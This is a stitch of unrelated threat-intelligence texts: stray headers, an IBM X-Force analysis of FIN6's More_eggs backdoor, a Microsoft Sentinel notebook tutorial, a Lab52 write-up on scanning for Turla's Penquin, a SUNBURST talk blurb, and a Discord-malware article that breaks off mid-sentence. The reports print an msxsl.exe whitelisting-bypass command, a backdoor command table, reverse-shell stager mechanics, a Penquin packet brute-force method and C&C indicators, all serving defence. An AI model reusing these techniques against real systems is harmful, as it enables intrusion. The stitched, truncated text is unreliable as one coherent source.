Author: Truong Quoc Ngan (HTC), Dang Dinh Phuong
VinCSS (a member of Vingroup) |
疑似APT-C-55(Kimsuky)组织利用商业软件Web Browser Password Viewer进行攻击
高级威胁研究院 360威胁情报中心
收录于合集
# APT 61 个
# 朝鲜半岛 13 个
# APT-C-55 Kimsuky 4 个 |
# More Eggs, Anyone? Threat Actor ITG08 Strikes Again
**Advanced Threats**
August 29, 2019
By Ole Villadsen, co-authored by Kevin Henson, Melissa Frydrych, Joey Victorino
IBM X-Force Incident Response and Intelligence Services (IRIS) responds to security incidents across the globe. During a recent incident response investigation, our team identified new attacks by the financially motivated attack group ITG08, also known as FIN6.
ITG08 is an organized cybercrime gang that has been active since 2015, mostly targeting point-of-sale (POS) machines in brick-and-mortar retailers and companies in the hospitality sector in the U.S. and Europe. More recently, the group has been observed targeting e-commerce environments by injecting malicious code into online checkout pages of compromised websites — a technique known as online skimming — thereby stealing payment card data transmitted to the vendor by unsuspecting customers.
Based on our investigation and analysis of its adversarial tactics, techniques, and procedures (TTPs), we believe ITG08 is actively attacking multinational organizations, targeting specific employees with spear phishing emails advertising fake job advertisements and repeatedly deploying the More_eggs JScript backdoor malware (aka Terra Loader, SpicyOmelette). This tool, a TTP observed in ITG08 attacks since 2018, is sold on the dark web by an underground malware-as-a-service (MaaS) provider. Attackers use it to create, expand, and cement their foothold in compromised environments. Past campaigns by ITG08 using the More_eggs backdoor were last reported in February 2019.
In the campaign we investigated, the attackers employed additional TTPs historically associated with ITG08, including the use of Windows Management Instrumentation (WMI) to automate the remote execution of PowerShell scripts, PowerShell commands with base64 encoding, and Metasploit and PowerShell to move laterally and deploy malware. Lastly, the attackers used Comodo code-signing certificates several times during the course of the campaign. Many of the above TTPs are not unique to ITG08, but collectively, and with the use of More_eggs, strengthen the link to this group.
Let’s take a closer look at ITG08’s TTPs that are relevant to the campaign we investigated, starting with its spear phishing and intrusion tactics and covering information on its use of the More_eggs backdoor. Please note that Visa has attributed the use of this backdoor to FIN6 in attacks that took place in 2018. Further linking the activity with the same threat actor, several of the network indicators and TTPs we encountered in this case — including the use of fake job advertisements as a lure in spear phishing — overlap with those reported earlier in 2019 by both Visa and Proofpoint researchers.
## Analysis of the Intrusion
ITG08’s TTPs in compromising targeted organizations follow the typical framework for APT attacks. The following sections go over the steps taken by the attackers to gain an initial foothold and persist on the victimized organization’s networks.
### Initial Compromise
To gain access to victim environments, the threat actor began by targeting handpicked employees using LinkedIn messaging and email, advertising fake jobs to lure recipients into checking into the supposed offers. In one case, we uncovered evidence indicating that the attacker had established communication with a victim via email and convinced them to click on a Google Drive URL purporting to contain an attractive job advert. Once clicked, the URL displayed the message, “Online preview is not available,” then presented a second URL leading to a compromised or rogue domain, where the victim could download the payload under the guise of a job description.
That URL, in turn, downloaded a ZIP file containing a malicious Windows Script File (WSF) that initiated the infection routine of the More_eggs backdoor. Based on file system artifacts examined during our investigation, the ZIP file and WSF files were deleted upon a successful malware infection, likely in an attempt to prevent researchers from recovering the original files from the filesystem. The filesystem, however, contained evidence of a nonmalicious decoy document dropped to the disk drive during the spear phishing attacks.
### Gaining a Foothold
The spear phishing attacks unfortunately led to initial compromise and the installation of the More_eggs JScript backdoor, which established a reverse shell connection to the attacker’s command-and-control (C&C) infrastructure. Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe.
X-Force IRIS determined that the More_eggs backdoor later downloaded additional files, including a signed binary shellcode loader and a signed Dynamic Link Library (DLL), as described below, to create a reverse shell and connect to a remote host. The shellcode loader was observed on one infected device as updater.exe with the Metasploit-style service name APTYnDS1ABEuUHEA, indicating that it was installed as a service.
### Reconnaissance, Lateral Movement, and Privilege Escalation
Once the attackers established a foothold on the network, they employed WMI and PowerShell techniques to perform network reconnaissance and move laterally within the environment. This type of method, called living off the land, can often blend with legitimate system administration activities, which can make it challenging for security controls to detect.
The attackers used this technique to remotely install a Metasploit reverse TCP stager on select systems, subsequently spawning a Meterpreter session and Mimikatz. Meterpreter is a payload component in the Metasploit Framework that uses in-memory DLL injection, which can lead to a compromise by malware or any malicious code/commands. Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory. Stolen credentials are usually leveraged to facilitate privilege escalation and further lateral movement through the compromised environment.
Once the Metasploit reverse TCP stager executed, it downloaded and loaded a second stage Meterpreter DLL into memory, allowing the attacker to spawn a Meterpreter session via a handler and initiate the loading of extensions, such as Mimikatz. In addition to the More_eggs malware, the attacker leveraged in-memory attacks by injecting malicious code, in this case Mimikatz, into legitimate system processes.
### Establishing Persistence
To cement their foothold and add persistence throughout the compromised environment, X-Force IRIS uncovered evidence that the attacker had selected several additional devices on which to install the More_eggs backdoor, creating redundancy in ways to get back into the network. ITG08 remotely connected to these devices using PowerShell and WMI and downloaded and executed a DLL file, subsequently installing More_eggs on the device without dropping the nonmalicious decoy document.
## More_eggs: Malware Analysis
### ITG08 Leveraging a Malware-as-a-Service Provider
A recently rising attack tool in ITG08 campaigns has been the More_eggs JScript backdoor. But while it was recently identified with ITG08 activity, the More_eggs backdoor is apparently developed and sold through an underground MaaS provider. This vendor not only supplies the backdoor malware but also offers related technical services, such as preparing the network infrastructure to download More_eggs-related files and furnishing resources for C&C purposes.
In addition to More_eggs, the same underground vendor is also responsible for producing the signed DLL described below, which creates a reverse shell. We based this assessment on code similarities between the DLL and other samples created by the same vendor, including the DLL that drops the More_eggs backdoor.
### The More_eggs Dropper DLL
After a successful phishing attack in which users have opened emails and browsed to malicious links, ITG08 attackers install the More_eggs JScript backdoor on user devices alongside several other malware components. The process begins with the consistent execution of a malicious DLL using the legitimate regsvr32.exe Windows Utility. Once executed, the DLL is deleted from the system and its components are dropped to the system.
Before being deleted, the DLL executes a string decoding routine that is designed to execute for about a minute, spiking central processing unit (CPU) usage for the regsvr32.exe process. Once the strings are decoded, the More_eggs components are decrypted, dropped to the system (normally in the %APPDATA%\Microsoft\ or %ProgramData%\Microsoft\ directories), and executed.
### More_eggs Components
The More_eggs dropper DLL creates the following components on the infected device:
| Sample File Name | Description |
|--------------------------------------|-----------------------------------------------------------------------------|
| 5795C3AC7F57F.txt | An XSL stylesheet file that contains an obfuscated More_eggs JScript loader. |
| 625222E09B6CD028459.txt | Benign XML document occasionally used as a parameter when executing the msxsl.exe utility. |
| 27603.docx | Benign Word Document decoy. The Decoy was not always dropped in the executions of the DLLs analyzed. |
| A70613FF7F5DE98.txt | Obfuscated script file that executes msxsl.exe with the appropriate parameters as arguments. Once the script executes, the More_eggs JScript is loaded into the memory space of msxsl.exe. |
| msxsl.exe | Benign Microsoft Command Line Transformation Utility known to be used to execute malicious code and bypass application whitelisting. |
The use of msxsl.exe is a known tactic to execute malicious code and bypass application whitelisting. The deobfuscated command is built as follows:
```
“C:\Users\<username>\AppData\Roaming\Microsoft\msxsl.exe” “C:\Users\<username>\AppData\Roaming\Microsoft\625222E09B6CD028459.txt” “C:\Users\<username>\AppData\Roaming\Microsoft\5795C3AC7F57F.txt”
```
Once the above command is executed, the More_eggs JScript loader 5795C3AC7F57F.txt will deobfuscate the embedded More_eggs JScript.
### Analyzing the More_eggs JScript Backdoor
The analysis in this section details the functionality of More_eggs backdoor samples specific to this investigation, so please bear in mind that the same malware can be deployed differently in other campaigns and by alternate attackers.
The More_eggs backdoor is executed entirely in memory, never touching the filesystem in an unencrypted state. Notable configuration data is hardcoded and includes its C&C server address, malware version number, and an Rkey value, which is believed to identify campaign perpetrators to the vendor:
- The Rkey value is appended with a two-byte, pseudorandomly generated string used to construct an RC4 key.
- The Rkey variable is part of the ciphering key used to encrypt C&C communications.
- The RC4 key is then used to encrypt data, which is additionally basE91 encoded and sent back to the C&C. BasE91 is a method for encoding binary as ASCII characters.
Upon initial execution, the backdoor checks its environment to determine whether it is running with administrative or user privileges, and if proper components are present on the system. To check the user’s privilege level on the newly infected device, it attempts to read the registry key HKEY_USERS\S-1-5-19\Environment\TEMP; a successful read means it is running with administrative privileges, and the backdoor builds the path %ProgramData%\Microsoft. If it is not running with administrative privileges, the path %AppData%\Microsoft is used.
The More_eggs backdoor obtains the username and computer name of the infected device, and if running with privileges, it reads the following registry key: HKEY_LOCAL_MACHINE\Software\Microsoft\Notepad\<computername>. If not running with privileges, it reads the key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Notepad\<username> instead.
The data in these Windows registry keys is expected to be a comma-separated list of files with no extension. The .txt extension is appended to the name by the backdoor. If these files exist along with msxsl.exe in the proper location, either %ProgramData%\Microsoft or %AppData%\Microsoft, the malware’s execution continues.
Once the environment is checked, the backdoor will check for network connectivity by sending an HTTP GET request to hxxp://www.w3[.]org/1999/XSL/Format, ensuring the response is “This is another XSL namespace\n.”
If the connection is successful, the backdoor builds a string formatted with “|<random-value>|”. The random value is between 8 and 32 bytes long, RC4-encrypted, basE91 encoded, and subsequently sent to the C&C in an HTTP POST request.
The C&C response is expected to be between 8 and 32 bytes long; nothing is done with the server response. The random value acts as a handshake between the backdoor and the C&C, and during failure of any of the above, More_eggs sends an HTTP GET request to 8.8.8.8 with a pseudorandom 8 to 32-byte URI.
If the handshake is successful, the backdoor proceeds to collect system information from the infected device using a series of WMIC commands.
The infected device’s system information is written to several %Temp%\<random-filenames>.txt files. The contents of the files are read and then the files themselves are deleted.
The More_eggs backdoor accepts the following commands from its remote operator:
| Command | Description |
|--------------|--------------------------------------------------|
| d&exec | Download and execute an executable (.exe or .dll). |
| more_eggs | Delete the current More_eggs and replace it. |
| Gtfo | Uninstall activity. |
| more_onion | Execute a script. |
| via_c | Run a command using “cmd.exe /C”. |
## Meterpreter Reverse TCP Stagers
Beyond using More_eggs as a backdoor, the attackers in this campaign also used offensive security tools and PowerShell scripts to carry out the different stages of the attack.
The PowerShell scripts analyzed during our investigation contained Metasploit Reverse TCP stagers. These stagers were used to execute shellcode that connected back to an attacker’s server and injected Meterpreter components, such as Mimikatz, into the memory space of legitimate processes. After injecting Meterpreter into memory, the attacker had complete control of the infected device.
The reverse TCP PowerShell stagers functioned as follows:
1. The reverse TCP PowerShell stagers were obfuscated with base64 encoding and GZip compression. This encoding scheme is standard for Meterpreter PowerShell stagers. The original command contained a base64-encoded loader script.
2. The loader script base64 decodes, Gzip decompresses, and executes a Metasploit PowerShell reflection payload in memory.
3. The reflection payload base64 decodes a Meterpreter reverse TCP shellcode, injects it into memory using .NET reflection methods, and executes the decoded shellcode.
4. The shellcode connects back to the attacker’s server. Meterpreter components, such as the core module and metsvr.dll, and extensions, such as Mimikatz, are injected into the memory space of a legitimate process.
## Metasploit Shellcode Loader
As our analysis continued, X-Force IRIS found a UPX-packed Metasploit shellcode loader during the forensic investigation of compromised devices. This loader attempted to masquerade as the Apache Bench application and notably contained metadata and project paths (.PDB), indicating that it may be attempting to masquerade as other applications as well, a rather typical behavior for malicious binaries.
The shellcode was loaded into memory and designed to receive an RC4-encrypted buffer, which was decrypted and executed in memory. The sample also contained a Comodo code-signing certificate issued to “MAHTEM LTD,” which we believe is one of a number of fake companies established to purchase the certificates.
The sample we analyzed further contained five binary entries in a resource named “REGISTRY” — 35, 224, 409, 3908, and 4994 — each containing some obfuscated shellcode.
Once loaded into memory, the shellcode connected back to a remote host, receiving 4 bytes in return. Those were XORed with the string 0xad350bdd and had 0x100 added to it. This value was then used as the size specification for the next received buffer, which was RC4-decrypted with the resulting 16-byte key and executed in memory.
### A ReverseShell Executable
Yet another tool in the attackers’ arsenal for this campaign was a DLL backdoor executable that X-Force IRIS found during the investigation. When executed via its DllRegisterServer export function, the DLL connected to a remote host on port 443 and created a reverse shell. In this investigation, the DLL connected to 185[.]204[.]2[.]182 and contained a Comodo code-signing certificate issued to “D Bacte Ltd.”
## ITG08 Attacks Organizations for Financial Gain
ITG08 has been around for over four years now. Its attacks are financially motivated, sophisticated, and persistent. The group historically has specialized in stealing payment card data from POS machines and has more recently expanded operations to target card-not-present data from online transactions.
## Mitigation Tips
Effective network defense and threat intelligence rely on multiple factors, such as knowing the network’s attack surface, understanding the threat actor’s motivations and TTPs, and the skill and knowledge of the security team that enable it to identify malicious behavior.
IBM X-Force IRIS has gained insight into ITG08’s intrusion methods, ability to navigate laterally, use of custom and open-source tools, and typical persistence mechanisms. Our team has provided the following mitigation tips for defenders who are looking out for attacks by this group.
### Educate Users About Email
X-Force IRIS determined that the ITG08 compromise was the result of a phishing email in which the initial compromise was made possible by a victim who clicked on a malicious attachment. Role-based security awareness training should be at the top of the list of any organization’s mitigation strategies to help employees recognize phishing emails and possible malicious attachments, and to educate them about their security responsibilities with regards to reporting potentially malicious emails.
### Search for Known IoCs
After the phishing email resulted in a successful infiltration, ITG08 used the More_eggs backdoor to gain a foothold and infect additional devices. More_eggs-related artifacts such as the DLL dropper have extremely low antivirus (AV) detection rates, based on analysis conducted via VirusTotal. For example, a More_eggs DLL dropper submitted to VT on April 18, 2019, had a detection rate of only 5 percent.
To detect this malware, critical events should be analyzed based on the attacker’s patterns. SYSMON or an endpoint detection and response tool should be configured to detect the combined use of msxsl.exe and WMI. In addition, Registry keys and scheduled tasks should be analyzed for indications of persistence. The network should also be scrutinized for any privilege escalation events and any signs of internal reconnaissance. YARA signatures should also be created to assist security personnel in detecting the More_eggs malware.
### Analyze Logs
Other mitigation strategies against this type of activity include analyzing host-based firewall logs for internal pivoting, unauthorized listening executables, and scanning activity. In addition, configuring PowerShell script logging and identifying any obfuscation will assist in mitigating ITG08’s use of PowerShell to conduct malicious activity. ITG08 has also demonstrated the use of stolen credentials; therefore, multiple failed login attempts and/or unauthorized account usage may be indicators of ITG08 activity on a network.
### Monitor for Remote Services
X-Force IRIS also recommends taking steps to prevent lateral movement. Although lateral movement can be difficult to detect, a spike in usage of Windows tools, such as remote administration services (PowerShell Remoting and WMI), should be monitored. Detection and monitoring capabilities should be in place and network defenders should be familiar with what is considered a “normal” baseline on their user network. Without a baseline of “normal” activity, the use of Windows tools may blend in with legitimate activity, which can allow attackers to continue to live off the land unnoticed.
### Rethink Network Architecture
Security defenders should examine network architecture to see how the network is segregated, what Windows tools are restricted or used by administrators, and what alerts are set up to warrant personnel review. Least privilege principles should be implemented for all users on the network, and a strong password management system with two-factor authentication and password expiration dates should be deployed as an additional layer of security.
### Pen Test!
Organizations looking to limit the ways by which attackers can infiltrate their networks should be mindful of ongoing patching of vulnerabilities. After reaching maturity on the vulnerability assessment front, mitigation strategies should also include penetration testing to find unknown vulnerabilities related to people, software, and hardware used on the organization’s critical assets and externally facing resources.
### Incident Response
Nowadays, no organization can be exempt from planning and drilling incident response plans in the face of potential security incidents. Conducting tabletop exercises and regularly drilling plans can help organizations proactively prepare and take control of an incident if ever one should occur.
For additional resources and information, please check out X-Force IRIS. If you believe your organization may be under attack, please call the X-Force Emergency Response Hotline at 888-241-9812.
## Appendix A: IoCs
**More_eggs C&C domains:**
- api[.]cloudservers[.]kz
- mail[.]rediffmail[.]kz
- secure[.]cloudserv[.]ink
- metric[.]onlinefonts[.]kz
- news[.]bradpitt[.]kz
**Landing page domains (downloads files):**
- usastaffing[.]services
- usstaffing[.]services
- jobhyper[.]com
**Meterpreter C&C IP addresses:**
- 185[.]162[.]128[.]70
- 185[.]243[.]115[.]50
- 192[.]99[.]20[.]90
- 192[.]187[.]103[.]42
- 37[.]1[.]221[.]212
*Also the C&C IP address for the Metasploit Shellcode Loader.*
**ReverseShell executable (DLL) C&C IP address:**
- 185[.]204[.]2[.]182
**File hashes:**
| Description | SHA256 |
|----------------------------------|-------------------------------------------------------------------------|
| 5795C3AC7F57F.txt | b3537701e054823836da9c532560d30f01e38e549fb813206afd699ecde8a97c |
| A70613FF7F5DE98.txt | 28497c50d65c9f1d0233fc193a43014497fadddb1af8e7f5dbc6eefb3d4ede02 |
| 625222E09B6CD028459.txt | 80716c2a49739850d8ccd1c035ea4bcc2da39527693c71b800c99ed2ea2c430f |
| More_eggs backdoor | 37831e465728a913acab317b65c4474b8e6a4570e78c39c8b8c9b956e5d6db25 |
| Metasploit Shellcode | d9a245f1fb502606c226c364aa1090f25916e68f5ff24ef75be87ad6a2e6dcc9 |
| Loader | 78a87d540c1758c6b4dcabb7b825ea3a186ef61e7439045ece3ce3205c7e85a2 |
**Ole Villadsen**
Cyber Threat Hunt Analyst, IBM Security
Ole Villadsen is an analyst on the Threat Hunt & Discovery Team within IBM X-Force Incident Response and Intelligence Services (IRIS), where he investigates... |
# Creating Your First Microsoft Sentinel Notebook
This installment is part of a broader learning series to help you become a Jupyter Notebook ninja in Microsoft Sentinel. The installments will be bite-sized to enable you to easily digest the new content.
## Part Overview
- Part 1: What are notebooks and when do you need them?
- Part 2: How to get started with notebooks and tour the features
- Part 3: Overview of the pre-built notebooks and how to use them
- Part 3.5: Using Code Snippets to build your own Sentinel Notebooks
- Part 4: How to create your own notebooks from scratch and how to customize the existing ones
**Knowledge Check:** Once you've completed all parts of this series, you can take the Knowledge Check. If you score 80% or more, you can expect your very own Notebooks Ninja participation certificate.
Jupyter Notebooks are a fantastic resource for security analysts, providing a range of powerful and flexible capabilities. Microsoft Sentinel’s integration with Notebooks can provide a quick and straightforward way for security analysts to use Notebooks; however, for those new to Notebooks and coding, they can be a little daunting.
In this blog, we will cover some basics of creating your first Microsoft Sentinel Notebook using Python, including how to troubleshoot some common issues you may come across.
## Installing and Importing Packages in Python
One of the important things about using Python in Notebooks is that you can install and use code libraries (referred to as packages) created by others, allowing you to access the functionality they provide without having to code them yourself. The simplest way to install Python packages is using pip.
Pip is the package installer for Python and makes finding and installing Python packages simple. You can use pip to install packages via the command line or directly in a Notebook cell. Installing directly in a Notebook is often preferred as it ensures that you are installing the package in the same Python environment the Notebook is being executed in. To install via a Notebook code cell, use `%pip install <package_name>`. For example:
```python
%pip install requests
```
If you already have a package installed but want to update to the latest version, you can add the `--upgrade` parameter:
```python
%pip install --upgrade requests
```
You may also want to install a specific version of a package:
```python
%pip install requests==2.22.0
```
Once you have installed a package, you need to import it before it can be used. This is done with the `import` statement. There are two ways to import things in Python:
- `import <package>` - standard import of the package
- `from <package> import <item>` - imports a specific item from the package
You can also import packages and rename them for ease when calling them later:
```python
import pandas as pd
```
**Troubleshooting Tip:** Some packages do not use the same name for installation and import. You may need to check package documentation to ensure you are importing correctly.
For example, the popular Machine Learning tool package scikit-learn is installed with:
```python
%pip install scikit-learn
```
However, it is imported with:
```python
import sklearn
```
## Installing and Importing MSTICPy
Now that we know how to install and import packages, we can install MSTICPy, a package created by the Microsoft Threat Intelligence Center (MSTIC) that provides a range of tools to make security analysis and investigations in Notebooks quicker and easier.
To install MSTICPy and ensure we get the latest version, use the `--upgrade` parameter:
```python
%pip install --upgrade msticpy
```
We can import MSTICPy with:
```python
import msticpy
msticpy.init_notebook(globals())
```
## Setting up MSTICPy’s Config File
MSTICPy can handle connections to various data sources and services, including Microsoft Sentinel. It needs to manage several configuration details and credentials, such as the Microsoft Sentinel workspaces you want to get data from or API keys for external services.
To manage and reuse the configuration and credentials, MSTICPy has its own config file, `msticpyconfig.yaml`. The first time you use MSTICPy, you need to populate this file. This is a one-time activity; once created, you can simply reuse it in the future.
## Getting Data from Microsoft Sentinel
Querying data from Microsoft Sentinel is handled by MSTICPy's `QueryProvider`. The first step is to initialize a QueryProvider and tell it we want to use the Microsoft Sentinel Query provider.
We can do this with `WorkspaceConfig`:
```python
from msticpy.nbtools import nbinit
nbinit.init_Notebook(namespace=globals())
qry_prov = QueryProvider("MicrosoftSentinel")
ws_config = WorkspaceConfig(workspace="MyWorkspace")
```
Once set up, we can tell the `QueryProvider` to `connect`, which will kick off the authentication process.
```python
qry_prov.connect(ws_config)
```
## Built-in Queries
Now that we are connected to Microsoft Sentinel, we can start running some queries to get data. MSTICPy comes with several built-in Microsoft Sentinel queries to get common datasets into the Notebook. You can see a list of the MSTICPy queries with `.list_queries()`.
To run a query, simply pass its name to the `QueryProvider`:
```python
qry_prov.Azure.list_all_signins_geo()
```
**Troubleshooting Tip:** If a query does not execute at first, make sure you have run `qry_prov.connect()` to authenticate to Microsoft Sentinel first.
## Customizing Your Queries
In addition to the stock query, we can customize certain elements of the query. For example, to limit the number of results returned, we can pass in the `add_query_items` parameter:
```python
qry_prov.SecurityAlert.list_alerts(add_query_items="| take 10")
```
## Working With Data
Data returned by the `QueryProvider` comes back in a Pandas Data Frame, providing a powerful and flexible way to access our data.
To look at specific rows in our table, we can use `.loc` or `.iloc`:
```python
alert_df.loc[1]
alert_df.iloc[:5][["AlertName", "AlertSeverity", "Description"]]
```
We can also search for rows with specific data:
```python
alert_df[alert_df["AlertName"].str.contains("credential theft")]
```
## Enriching Data Using External Data Sources
One powerful element of Notebooks is combining data from Microsoft Sentinel with data from other sources, such as Threat Intelligence (TI) data. MSTICPy supports several TI data sources, including VirusTotal, GreyNoise, and AlienVault OTX.
To use these TI sources, create a `TILookup` object:
```python
ti = TILookup()
ti.lookup_iocs(signin_df, obs_col="IPAddress", providers=["GreyNoise"])
```
## Azure API Access
MSTICPy also integrates with a range of Azure APIs that can be used to retrieve additional information or perform actions, such as getting Microsoft Sentinel incidents:
```python
from msticpy.data.azure_sentinel import AzureSentinel
azs = AzureSentinel()
azs.connect()
azs.get_incident(incident_id="7c768f11-31f1-46ca-8a5c-25df2e6b7021", sub_id="8df49d90-99eb-4c31-985d-64b3f33caa93", res_grp="sent", ws_name="workspace")
```
## Visualizations with MSTICPy
Creating complex, interactive visualizations is one of the key benefits of Notebooks. MSTICPy contains several common visualizations that can be quickly and easily called with minimal code.
### Timelines
MSTICPy can plot diverse types of timelines with several types of data:
```python
user_df = qry_prov.Azure.list_aad_signins_for_account(account_name="[email protected]")
timeline.display_timeline(user_df, source_columns=["UserPrincipalName", "ResultType"])
```
### Matrix Plots
The Matrix Plot graph in MSTICPy allows you to plot the interactions between two elements in your data:
```python
network_data.mp_plot.matrix(x="SourceIP", y="DestinationIP", title="IP Interaction")
```
## Widgets
MSTICPy includes several visual, interactive widgets to allow users to select various parameters to customize the Notebook.
For example, using the SelectItem widget:
```python
network_selector = nbwidgets.SelectItem(
item_list=network_vendor_data["DeviceVendor"].to_list(),
description='Select a vendor',
action=print,
auto_display=True
)
```
## What to Do Next
What you have seen here is just a tiny taster of what Microsoft Sentinel Notebooks can do. We recommend that you do the following:
- Sign up for the webinar covering the topics in this blog.
- Run the Getting Started Notebook in Microsoft Sentinel to help set up your config.
- Try the interactive MSTICPy Lab.
- Read the MSTICPy docs.
- Learn more about Pandas.
- Check out other Notebooks for ideas. |
# Looking for Penquins in the Wild
During 2020, Leonardo analysts discovered and published a very in-depth analysis of a threat known as Penquin, attributed to the APT group Turla. 32-bit samples of this threat had been detected and analyzed by Kaspersky before, but the analysis in this most recent publication was focused on a new 64-bit sample.
It firstly caught our attention that this threat does not have its own command and control server, but rather stands by waiting for a very specific packet generated by the attacker, from which it extracts its command and control server. This results in the following logical scenario for an attacker to take control of the threat.
In the report published by Leonardo, there is a lot of information related to the structure of such packet and the threat activation protocol. In fact, they published a version of a UDP scanner with a specific packet contacting an internal IP, in order to allow scanning internal networks for threats.
This threat, despite being a compiled and relatively complex binary, has the same capabilities that are usually found in webshells. Furthermore, the group itself could be said to use them in a similar way to other less advanced groups using webshells, since it has been observed how in servers infected by this threat, command and controls from other Turla tools have been deployed in order to use them as infrastructure in recent campaigns. This fact implies that the possibility of detecting new infections of this threat all over the Internet may allow identifying the infrastructure of current, and even future, Turla campaigns.
For this, we firstly need to be able to generate activation packets for public IPs controlled by us. Secondly, we are interested in being able to scan TCP ports as well, since there are cases of servers that have specific TCP ports exposed to the Internet and all UDP ports blocked.
Starting from public samples and the work already done and documented as a resource, we decided to implement a function that emulates the threat’s logic of checking the validity of that “Magic” packet and extracting the IP address of the C2 it is ordered to contact. This allows us to quickly and automatically validate an inferred activation packet.
Rather than completely reverse the validation logic, in order to reverse the algorithm and try to generate specific packets, we first tried brute-forcing the different elements within the UDP and TCP packets, and then leveraged the function we had extracted from the threat to validate each combination for a public target IP controlled by us.
We know that the sample first extracts 32 bits from the packet and compares them with the mask “0xbdbd0560”. In case it passes this first filter, it extracts another 32 bits and the source port, and passes this extracted information to the validation function we already have. The problem was that brute-forcing so many bytes would be too slow and not feasible. Fortunately, there is a good part of the algorithm already described. Some of these elements are the fixed bits of the first mask and the bits that compose the IP address with which Penquin will contact (our controlled IP, in this case).
The fixed bits of the first check take away most of the second block of 32 bits, and since we will want to generate the packets for an IP address controlled by us, we can subtract another 28 bits from the two blocks of 32, since these will have to be exactly those that build the IP of our server. In fact, we could subtract 4 more bits from the source port that will also be dependent on the final IP, although in our case we consider it unnecessary. So instead of brute-forcing all possible combinations of two 32-bit blocks plus the port (16 bits more), we only have to brute-force 4 bits + 4 bits + 2 bits + 3 bits + the source port, which becomes trivial.
This would allow us to generate combinations for a destination IP and then check if the result is valid and still generates the IP we expected it to generate. However, there is still one last element to take into account: the function that checks the validity of the packet within the threat (in the screenshot renamed to MagicStuff) returns as a parameter an ID extracted from the calculations it performs, which can contain a value between 0 and 3. Just before contacting the target server, it compares this ID with the ID of the last contact with a C2, and it is initialized to 0 when the threat is executed for the first time. This avoids accepting the same packet twice, and at the same time, the first packet cannot result in 0 after that calculation. Therefore, we need to generate two different packets if we want to make sure that in case we send it to an infected server, it will reply and avoid not receiving contact simply because we have sent the same ID as the attacker in the last contact.
Once two packets with different IDs and a controlled public IP have been generated, the last thing is to send them to a TCP or UDP port that is open on as many servers as possible and wait to receive responses on our server’s IP from the scanned IP addresses. For this, in the case of UDP, we already have the work done, but in the case of TCP, the payload that checks the threat is not in the body of the TCP packet received, but in the headers, specifically in the Sequence Number and Acknowledgement Number, so we need to generate the packet in RAW to be able to control these elements.
Once all the elements are prepared and finished with a close resemblance to this one, now we finally can perform the scan. Different strategies have been used for the scanning. We have scanned ports 25 (TCP), 53 (UDP/TCP), 80 (TCP), 443 (TCP), 8080 (TCP) and we have tried to vary the “callback” port. To avoid unnecessary traffic, the sending and receiving packets are placed in different IP addresses. The IP address from where it is activated (source of our crafted packets) and the “supposed” C2 (server expected to be contacted) are in different servers. In the case of receiving packets in the expected address, a double check is made sending only to that IP, in order to verify that we are still receiving a response from Penquin.
After a first scan in June 2020, we registered 86 IP addresses hosting Penquin. First of all, we were struck by the distribution of these infections, as they were all located in Europe, Russia, and the United States. The IPs found correspond in most of the cases with VPS from a wide variety of providers. On the other hand, Shodan offers us information suggesting that many of the IPs, as expected, have a multitude of vulnerabilities.
In total, vulnerabilities have been identified in 65% (+ or -) of the detected IPs. Among the detections observed, these two IP addresses stand out:
- 85.25.95.16
- 162.223.94.14
At first sight, it can be observed how in VT this address is related to a binary that some antivirus vendors along with Intezer catalog as Turla. Researching for more details about this sample, we find that it is mentioned in an AnhLab Report about a Turla campaign against the Korean Defense sector, which, along with this paragraph from Cisto Talos from July 2021, reinforces the hypothesis that they use Penquin as a tool to control machines that are then used as command and control servers or intermediate node servers for their operations.
## IOCs
- 1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905 (SHA256)
- 2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08 (SHA256)
- 3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4 (SHA256)
- 5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8 (SHA256)
- 67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502 (SHA256)
- 8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667 (SHA256)
- 8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc (SHA256)
- d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0 (SHA256)
- d9f2467ff11efae921ec83e074e4f8d2eac7881d76bff60a872a801bd45ce3d5 (SHA256)
- 85.25.95.16 (Infected Server)
- 162.223.94.14 (Infected Server)
Customers with Lab52’s APT intelligence private feed service already have more tools and means of detection for this campaign. In case of having threat hunting service or being a client of S2Grupo CERT, this intelligence has already been applied. If you need more information about Lab52’s private APT intelligence feed service, you can contact us. |
# Light in the Dark: Hunting for SUNBURST
**Presented by**
Matt Bromiley, Principal Consultant, Managed Defense
Andrew Rector, Sr. Principal Security Analyst, Managed Defense
## About this talk
In December 2020, FireEye revealed the details of a sophisticated threat actor that took advantage of SolarWinds’ Orion Platform to orchestrate a wide-scale supply chain attack and deploy a backdoor we call SUNBURST. This attack impacted organizations worldwide, leading executives everywhere to question whether their environment fell victim. For Mandiant Managed Defense, the identification of victims started even before the public became aware of the SUNBURST campaign.
Join Matt Bromiley, Principal Consultant, Mandiant Managed Defense, and Andrew Rector, Sr. Principal Consultant, Mandiant Managed Defense, for a first-ever look inside how Mandiant addressed the SUNBURST threat with customers, including stories from the front lines of this customer-focused response. Our experts will also highlight:
- How this prolific cyber attack changes the way we view security
- SUNBURST threat actor TTPs and how Mandiant hunts for the most relevant and dangerous threats
- What threat hunting techniques should be deployed to find today’s stealthiest attackers |
# Become A VIP Victim With New Discord Distributed Malware
Threat actors are always looking for a way to avoid detection, and one of the most popular techniques is to use legitimate services to mask malicious network activity. A recent trend is to abuse Discord (the game-centric text and voice chat platform) as a payload distribution platform.
A new malware (named “VIPSpace.exe” in the wild) will recklessly install up to 25 different malware on a victim PC, effectively destroying infected devices. As a first stage, the malware is dropped by a self-extracting archive that drops and executes the next module, VIPSpace.exe. The secondary payload accesses Discord’s servers, downloads a BMP (bitmap) file, and saves it with a DLL extension. As it turns out, the downloaded BMP file is actually an encrypted executable that will be decrypted in the memory and reflectively loaded.
The DLL accesses `http://37.0.11[.]8/server.txt` to get the IP address of a C&C server. After a successful connection to the C&C server, the in-memory module disables Windows Defender by creating the following registry keys:
